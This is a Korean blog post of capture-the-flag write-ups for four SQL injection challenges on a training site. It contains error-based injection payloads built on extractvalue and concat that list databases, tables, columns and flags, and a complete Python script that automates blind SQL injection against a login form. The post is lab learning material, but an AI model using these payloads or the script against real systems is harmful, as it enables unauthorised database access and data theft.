본문 바로가기

웹 해킹

SQL Injection 문제 풀이 [3,4,5,6]

SQL Injection 3

 

기존 ID / pwd : normaltic / 1234

 

우선 SQL Injection 포인트 찾기

>> normaltic' and '1'='1 / 1234 로 접속을 해보았다 -> 성공

 

에러메시지 출력 확인

normaltic' / 1234로 접속을 해보았다.

에러메시지 출력 확인

>> Error Based SQL Injection 기법 활용

 

ID : nomaltic1' and extractvalue('1',':jdleaf') #

PWD : 1234

로그인시도 결과

 

공격 Format 만들기

>> nomaltic1' and extractvalue('1',concat(0x3a,(__SQL문구__))) #

 

DB 추출

>> nomaltic1' and extractvalue('1',concat(0x3a,(select database()))) # => sqli_2

 

Table 추출

>> select table_name from information_schema.tables where table_schema = 'sqli_2' limit 0,1

>> nomaltic1' and extractvalue('1',concat(0x3a,( select table_name from information_schema.tables where table_schema = 'sqli_2' limit 0,1 ))) # => flag_table, member

 

Column 추출

>> select column_name from information_schema.columns where table_name = 'flag_table' limit 0,1

>> nomaltic1' and extractvalue('1',concat(0x3a,( select column_name from information_schema.columns where table_name = 'flag_table' limit 0,1 ))) # => flag

 

Flag 획득

>> select flag from flag_table limit 0,1

>> ' and extractvalue('1',concat(0x3a,( select flag from flag_table limit 0,1 ))) #


SQL INJECTION 4

기본적으로 SQL Injection 3 문제와 같은 방식으로 진행된다.

같은방식으로 진행하다가 Column 추출을 하는데 flag1이 출력되길래 혹시나해서 limt 1,1로 바꿔보았더니 flag2 컬럼도 있었다.

Burp Suite를 활용 확인한 결과 Column : flag1 ~ flag8

 

플래그는 1~8까지 합쳐야 나오는것 같다.

물론 수작업으로 합쳐도 되지만 Concat 함수를 활용하여 합치라는 내용 같으므로 합쳐보자.

일단 기본적으로 합치는걸 테스트 해보았다.

sql문을 8번 적어주면 될것같다.

1. select flag1 from flag_table limit 0,1

2. select flag2 from flag_table limit 0,1

.....

8. select flag8 from flag_table limit 0,1

 

concat(0x39,(SQL1),(SQL2),...,(SQL8)) limit 0,1

-> ' and extractvalue('1', concat(0x39,(SQL1),(SQL2),...,(SQL8))) #

-> ' and extractvalue('1', concat(0x39,
 (select flag1 from flag_table limit 0,1),
 (select flag2 from flag_table limit 0,1),
 (select flag3 from flag_table limit 0,1),
 (select flag4 from flag_table limit 0,1),
 (select flag5 from flag_table limit 0,1),
 (select flag6 from flag_table limit 0,1),
 (select flag7 from flag_table limit 0,1),
 (select flag8 from flag_table limit 0,1))) #

 

>> 에러메세지 문자열에 제한이 걸렸다. 1~4 따로 5~8 따로 실행 후 flag 획득!


SQL INJECTION 5

 

음,, 인내심을 가지란다.. 시작부터 범상치 않았다.

컬럼을 얻는 과정까지는 다른 Error Based SQL Injection 실습 문제와 크게 다를게 없었다.

flagTable_this 테이블 안에있는 flag 컬럼에 limit 10,1 까지 갔을때도 값이 나오지 않았을때 눈치를 챘다

그래서 where like 을 인용해 주었다. 얼마나 많은 값이 있는진 모르겠지만. 크게 고생은 하지않았다.

 

Keyword : ' and extractvalue('1', concat(0x39,
 (select flag from flagTable_this where flag like '%segfault%' limit 0,1)))#

 

-> flag 획득!


 

SQL INJECTION 6

 

- 지난 Blind SQL Injection 실습때 만들어둔 코드를 그대로 활용하였다.

import requests


TARGET = "http://ctf2.segfaulthub.com:7777/sqli_3/login.php"

header = {
    "Cookie":"PHPSESSID=fdh1mqcjs230kh6keti4f3btnq",
    "Referer":"http://ctf2.segfaulthub.com:7777/sqli_3/login.php",
    "Accept-Encoding":"gzip, deflate, br"
}

id = ''
pwd ='1234'
submit = 'Login'

#Request 테스트
#Text = "normaltic' and (ascii(substr('l',1,1))>70) #"
#data = {'UserId' : Text,
#        'Password':pwd,
#        'Submit' : submit}
#req = requests.post(TARGET,data=data,allow_redirects=False,headers=header)
# print(req.status_code) #Blind SQLI - status_Code를 통해 구별 -> allow_redirects를 False로 지정해주지 않으면 자동으로 Redirect 되어 200값만 받아오게됨
# print(req.text) # Warning! 보이게 되면 틀린값을 통해 구별.
cText = 'Warning!'

print('[i] 1. DB정보 알아내기')
print('[i] 2. Table정보 알아내기')
print('[i] 3. Column정보 알아내기')
print('[i] 4. 데이터 추출하기')
print('[i] 5. lengthTest')

start = int(input('원하는 숫자를 입력해주세요 : '))

def lengthCheck(Text):
    print("[*]Length Check.")
    result = 0
    for i in range(1,100):
        data = {'UserId' : Text.format(i,'>',0),
                'Password':pwd,
                'Submit' : submit}
        req = requests.post(TARGET,data=data,headers=header)
        if i == 1 and cText in req.text:
            print("[*]존재하지 않는 데이터입니다.")
            exit()
        if cText not in req.text:
            result = i
        else:
            print("[*] Length : ", result)
            return(result)
            break
        

#Length TEST
# if start ==5:
#     Text = "normaltic' and (ascii(substr((select database()),{},1)) {} {})#"
#     data = {
#         query : Text
#     }
#     KK = lengthCheck(Text)
#     print ("KK: ",KK)
    
#DB정보 알아내기
if start==1:
    Text = "normaltic' and (ascii(substr((select database()),{},1)) {} {})#"
    result = ''
    _length = lengthCheck(Text)
    for i in range(1,_length+1):
        for j in range(30,130):
            data = {
                'UserId' : Text.format(i, '=', j),
                'Password':pwd,
                'Submit' : submit
            }
            req = requests.post(TARGET,data=data,headers=header)
            if cText not in req.text:
                print('GET!',chr(j))
                result += chr(j)
                print(result)
                break
    print(result)

#Table정보 알아내기
if start ==2:
    row = input("몇번째 행의 테이블을 보시겠습니까?[0~n] :")
    dbName = input("DB이름을 입력해주주세요 : ")
    Text = "normaltic' and (ascii(substr((select table_name from information_schema.tables where table_schema ='"+dbName+"' limit "+row+",1),{},1)) {} {})#"
    # print(Text)
    result =''
    _length = lengthCheck(Text)
    for i in range(1,_length+1):
        for j in range(30,130):
            data = {
                'UserId' : Text.format(i, '=', j),
                'Password':pwd,
                'Submit' : submit
            }
            req = requests.post(TARGET,data=data,headers=header)
            if cText not in req.text:
                print('GET!',chr(j))
                result += chr(j)
                print(result)
                break
    print(result)

#Column정보 알아내기
if start == 3:
    tbName = input("테이블 이름을 입력해주세요 : ")
#    row = input("몇번째 행의 값을 보시겠습니까? [0~n] :")
    for row in range(6): #추후 행의 수만큼 모두 가져올수있게 코딩.
        Text = "normaltic' and (ascii(substr((select column_name from information_schema.columns where table_name = '"+tbName+"' limit "+str(row)+",1),{},1)) {} {})#"
        result =''
        _length = lengthCheck(Text)
        for i in range(1,_length+1):
            for j in range(30,130):
                data = {
                'UserId' : Text.format(i, '=', j),
                'Password':pwd,
                'Submit' : submit
            }
                req = requests.post(TARGET,data=data,headers=header)
                if cText not in req.text:
                    print('GET!',chr(j))
                    result += chr(j)
                    print(result)
                    break
        print(result)

#데이터 추출하기
if start == 4:
    tbName = input("테이블 이름을 입력해주세요 : ")
    tbColumn = input("컬럼 이름을 입력해주세요: ")
 #   row = input("몇번째 행의 값을 보시겠습니까? [0~n] :")
    for row in range(6):
        Text = "normaltic' and (ascii(substr((select "+tbColumn+" from "+tbName+" limit "+str(row)+",1),{},1)) {} {})#"
        print(Text)
        result =''
        _length = lengthCheck(Text)
        for i in range(1,_length+1):
            for j in range(30,130):
                data = {
                'UserId' : Text.format(i, '=', j),
                'Password':pwd,
                'Submit' : submit
            }
                req = requests.post(TARGET,data=data,headers=header)
                if cText not in req.text:
                    print('GET!',chr(j))
                    result += chr(j)
                    print(result)
                    break
        print(result)